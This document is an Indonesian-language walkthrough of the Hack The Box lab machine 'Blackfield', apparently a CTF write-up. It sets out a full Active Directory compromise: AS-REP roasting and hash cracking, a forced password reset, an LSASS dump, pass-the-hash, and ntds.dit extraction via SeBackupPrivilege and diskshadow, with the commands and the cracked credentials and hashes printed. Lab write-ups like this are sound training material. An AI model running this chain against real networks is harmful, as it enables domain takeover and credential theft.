featured

Information Gathering

Port Scanning

nmap -sC -sV 10.10.10.192 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 12:08 WIB
Nmap scan report for 10.10.10.192
Host is up (0.028s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-05-25 05:03:10Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: -5m37s
| smb2-time: 
|   date: 2024-05-25T05:03:13
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.90 seconds

Initial Access

pada smb profiles$ memiliki banyak folder didalamnya, namun tidak ada file ataupun subfolder

smbclient -N  '\\10.10.10.192\profiles$' 

memang tidak ada yang menarik, namun kita bisa mencatat untuk membuat wordlist, oleh karena itu mari kita download seluruh directorynya

mask ""
recurse ON
prompt OFF
mget *

selanjutnya mari kita buat wordlist

find . | sed 's/^\.\///' > users.lst

mari kita coba wordlist tersebut untuk melakukan enumerasi username

kerbrute userenum -d BLACKFIELD users.lst --dc 10.10.10.192
...
2024/05/25 12:42:55 >  [+] VALID USERNAME:	 support@BLACKFIELD
2024/05/25 12:44:11 >  [+] VALID USERNAME:	 audit2020@BLACKFIELD
2024/05/25 12:45:06 >  [+] VALID USERNAME:	 svc_backup@BLACKFIELD
...

disini kita mendapatkan 3 users valid, selanjutnya mari kita melakukan asrep-roasting

impacket-GetNPUsers -no-pass -dc-ip 10.10.10.192 -usersfile valid_users blackfield/
...
$krb5asrep$23$support@BLACKFIELD:83ee07dd8e3456bedd68209fd050be36$bc80fedd341fb8b4c9226ab5a1043eaafdb913162cce111ad852fa426ad7af8105c6260179edb26971ff528c751477c790a93f04e460b3442a813c8465e33a2a47000af31b4fa002344781f80f8138dd329d1c242f8311a9372849791ecf6854facfdaa06b21c503cf969b7bb912d5531181fc8eeb5e275ea72ca9ce2cf8de19db0d79228150542bc0bd9409310f278c528dee7d26ea6f1d06567e79068df776908d3f49a8c2801161a4b680df9b5700c334b3ec85b6cad182636b3ec5cb6ab3a58340c0246a90d343d6cff98c9ebb486529b8acbf8a27e22a28a031a210d3cd1766f513ad22754cb89574582464
...

disini kita mendapatkan hash dari user support, selanjutnya mari kita crack hash tersebut

hashcat  hash /usr/share/wordlists/rockyou.txt
...
$krb5asrep$23$support@BLACKFIELD:83ee07dd8e3456bedd68209fd050be36$bc80fedd341fb8b4c9226ab5a1043eaafdb913162cce111ad852fa426ad7af8105c6260179edb26971ff528c751477c790a93f04e460b3442a813c8465e33a2a47000af31b4fa002344781f80f8138dd329d1c242f8311a9372849791ecf6854facfdaa06b21c503cf969b7bb912d5531181fc8eeb5e275ea72ca9ce2cf8de19db0d79228150542bc0bd9409310f278c528dee7d26ea6f1d06567e79068df776908d3f49a8c2801161a4b680df9b5700c334b3ec85b6cad182636b3ec5cb6ab3a58340c0246a90d343d6cff98c9ebb486529b8acbf8a27e22a28a031a210d3cd1766f513ad22754cb89574582464:#00^BlackKnight
...

kita mendapatkan kredensial dari user support yaitu support:#00^BlackKnight, selanjutnya mari kita menggunakan bloodhound-python untuk melakukan enumerasi active directory

python3 bloodhound.py -u support -d blackfield.local -dc blackfield.local -ns 10.10.10.192 --zip -c All

selanjutnya mari kita jalankan bloodhound gui

sudo neo4j start
bloodhound

dan upload output zip tadi

Kemudian cari user support dan mark user as owned

kita memiliki beberapa user lainnya seperti audit2020 dan svc_backup. mari kita tandai sebagai mark user as high value

berdasarkan tab Analysis tidak ada yang menarik namun kita bisa melihat bahwa support memiliki izin ForceChangePassword ke audit2020

karena kita tidak memiliki akses untuk rce kita bisa menggunakan net rpc sebagai jalan untuk change password

atau kita juga bisa menggunakan rpcclient untuk change password

rpcclient -U support  10.10.10.192
setuserinfo2 audit2020 23 waduh1337
setuserinfo2 audit2020 23 waduh@1337

23 diambil dari UserInteral4Information

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN

result: NT_STATUS_PASSWORD_RESTRICTION menandakan password kita mungkin tidak cukup kuat atau tidak sesuai dengan policy.

disini kita telah berhasil melakukan reset password audit2020, selanjutnya mari kita check permission user tersebut terhadap smb folder dengan crackmapexec

crackmapexec smb 10.10.10.192 -u audit2020 -p 'waduh@1337' --shares

user tersebut memiliki permission READ pada forensic, mari kita lihat dan download seluruh isinya

smbclient -N  '\\10.10.10.192\forensic' -U "audit2020%waduh@1337"
mask ""
recurse ON
prompt OFF
mget *

ini membutuhkan waktu yang sangat lama, kita bisa menggunakan jalan lainnya yaitu dengan mount

sudo umount /mnt  
sudo mount -t cifs -o 'username=audit2020,password=waduh@1337' //10.10.10.192/forensic /mnt
ls /mnt

kita akan memulainya pada memory_analysis karena ini memungkinkan menyimpan NT Hash users yang tersimpan pada lsass.zip

selanjutnya mari copy lsass.zip dan extract

cp /mnt/memory_analysis/lsass.zip . 
unzip lsass.zip

disini kita mendapatkan lsass.DMP mari kita coba dump file tersebut dengan pypykatz

pypykatz lsa minidump lsass.DMP > minidump.out

disini kita mendaptakan svc_backup NT Hash

cat minidump.out
                Username: svc_backup
                Domain: BLACKFIELD
                LM: NA
                NT: 9658d1d1dcd9250115e2205d9f48400d
                SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
                DPAPI: a03cd8e9d30171f3cfe8caad92fef621

mari kita coba pass the hash dengan crackmapexec

crackmapexec winrm 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -x whoami
...
WINRM       10.10.10.192    5985   DC01             [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d (Pwn3d!)
WINRM       10.10.10.192    5985   DC01             [+] Executed command
WINRM       10.10.10.192    5985   DC01             blackfield\svc_backup
...

mari kita gunakan evil-winrm untuk melakukan remote

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d 

Privilege Escalation

svc_backup memiliki SeBackupPrivilege dan SeRestorePrivilege

whoami /priv

disini kita bisa menjalankan sharpup.exe untuk mencari cara abuse

https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/SeBackupPrivilege.md#tool-enumeration

.\sharpup.exe audit TokenPrivileges

disini kita bisa langsung melakukan copy sam dan system dari HKLM

reg save hklm\sam sam
reg save hklm\system system
download sam
download system

kemudian kita jalankan impacket-secretsdump

impacket-secretsdump -sam sam -system system local

disini kita mendapatkan administrator NT hash, namun setelah saya mencoba pass the hash, hashtersebut tidak bisa digunakan.

Dumping NTDS.dit via SeBackupPrivilege (Backup Operator Group)

setelah kita mengetahui bahwa svc_backup dapat membaca file (full system read), disini kita akan user tersebut berada pada Backup Operators group

https://www.backup4all.com/what-are-backup-operators-kb.html

sebagai contoh disini saya tidak memiliki akses untuk membaca C:\users\administrator\desktop\root.txt

disini saya akan menggunakan Robocopy (SeBackup and SeRestore is required) untuk melakukan copy terhadap seluruh isi dari directory C:\users\administrator\desktop

cd C:\windows\temp
mkdir test
cd test
robocopy /b C:\users\administrator\desktop\ 

pada kasus ini saya bisa melakukan copy terhadap notes.txt dan desktop.ini namun untuk alasan lain saya tidak bisa melakukan copy root.txt

oleh karena itu disini saya akan membuat sebuah alias pada C: yang dimana nanti akan kita expose pada Z: teknik ini disebut shadow copy. kita akan membuat file shadowcopy.txt dengan kode berikut

set context persistent nowriters
add volume c: alias cdrive
create
expose %cdrive% z:

selanjutnya kita perlu melakukan convert file tersebut ke DOS, upload dan jalankan dengan diskshadow

unix2dos shadowcopy.txt
upload shadowcopy.txt
diskshadow /s shadowcopy.txt

intinya dengan teknik ini kita membuat clone dari C: ke Z: namun ini seperti (symlink/shortcut). mengapat harus melakukan teknik ini? karena jika kita melakukan direct copy ke C:\windows\ntds.dit maka akan muncul error The process cannot access the file because it is being used by another process.

robocopy /b C:\windows\ntds . ntds.dit

oleh karena itu kita dapat copy dari Z: (disk yang telah dibuat)

robocopy /b Z:\windows\ntds . ntds.dit

ntds telah berhasil dicopy. selanjutnya kita dapat download ntds.dit dan kita dump dengan impacket-secretsdump

impacket-secretsdump -ntds ntds.dit -system system local > ntds.out

disini kita telah berhasil mendapatkan administrator NT Hash selanjutnya mari kita pass the hash

evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee 

kita telah berhasil mendapatkan akses administrator.